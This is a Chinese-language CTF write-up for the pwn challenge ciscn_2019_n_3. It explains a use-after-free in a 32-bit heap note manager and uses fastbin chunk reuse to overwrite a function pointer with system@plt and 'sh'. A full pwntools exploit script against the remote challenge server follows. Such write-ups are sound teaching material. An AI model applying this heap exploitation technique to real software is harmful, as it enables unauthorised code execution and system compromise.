基本情况
这题被环境坑了一把,用的是 docker 环境做题,checksec 检测是保护全开,ida 分析时也没有留意地址都是真实地址,所以一直没想用 system@plt getshell 。。。后面才发现程序是关闭 PIE ,程序有 system ,直接调用不需要泄露 libc 操作。
程序是一个有增删查的堆管理器,根据存储资料的类型分为两类,对应结构体如下:
struct int_chunk
{
void *rec_int_print();
void *rec_int_free();
int num;
};
struct str_chunk
{
void *rec_str_print();
void *rec_str_free();
char *chunk_ptr;
}
在两个 free 函数中都是没有将指针置零,造成 UAF :
int __cdecl rec_str_free(void *ptr)
{
free(*((void **)ptr + 2)); // data chunk
free(ptr); // UAF
return puts("Note freed!");
}
思路
利用 UAF 和 fastbin 控制 fd 为 sh\x00\x00
,bk 为 system 。
-
chunk0 作为 data chunk 被修改,chunk1 作为 chunk0 的结构体:
create(0,1,1)#0x10 create(1,1,1)#0x10
-
释放 chunk0、chunk1 ,根据 fastin 特点,将 chunk1 申请为结构体,chunk2 为 data chunk :
free(0) free(1) payload = b'sh\x00\x00' + p32(elf.plt['system']) + b'\n' create(3,2,payload,0xc)#0xc-->0x8-->chunk0
如上写入后调用 free 功能,实际执行命令:
system('sh\x00')
。如果写入是 system + sh 的组合调用 show 功能是不能 getshell ,实际运行的是:system(*(system))
。具体功能调用传参如下://show (*(int (__cdecl **)(int))chunk_ptr_list[v0])(chunk_ptr_list[v0]); //free (*(int (__cdecl **)(int))(chunk_ptr_list[v0] + 4))(chunk_ptr_list[v0]);
EXP
from pwn import *
context(log_level='debug',arch='i386',
terminal=['tmux','sp','-h'])
# p = process(["/glibc/2.27/32/lib/ld-2.27.so", "./ciscn_2019_n_3"], env={"LD_PRELOAD":"/glibc/2.27/32/lib/libc.so.6"})
p = remote("node3.buuoj.cn",26766)
elf = ELF("./ciscn_2019_n_3")
libc = ELF("/glibc/2.27/32/lib/libc.so.6")
def create(id,type,content,length=0):
p.recvuntil("> ")
p.sendline('1')
p.recvuntil("> ")
p.sendline(str(id))
p.recvuntil("> ")
if(type==1):
p.sendline(str(type))
p.recvuntil("> ")
p.sendline(str(content))
else:
p.sendline(str(type))
p.recvuntil("> ")
p.sendline(str(length))
p.recvuntil("> ")
p.send(content)
def free(id):
p.recvuntil("> ")
p.sendline('2')
p.recvuntil("> ")
p.sendline(str(id))
def show(id):
p.recvuntil("> ")
p.sendline('3')
p.recvuntil("> ")
p.sendline(str(id))
create(0,1,1)
create(1,1,1)
create(2,1,1)
free(0)
free(1)
payload = b'sh\x00\x00' + p32(elf.plt['system']) + b'\n'
create(3,2,payload,0xc)
# gdb.attach(p,"b *0x08048934")
free(0)
p.interactive()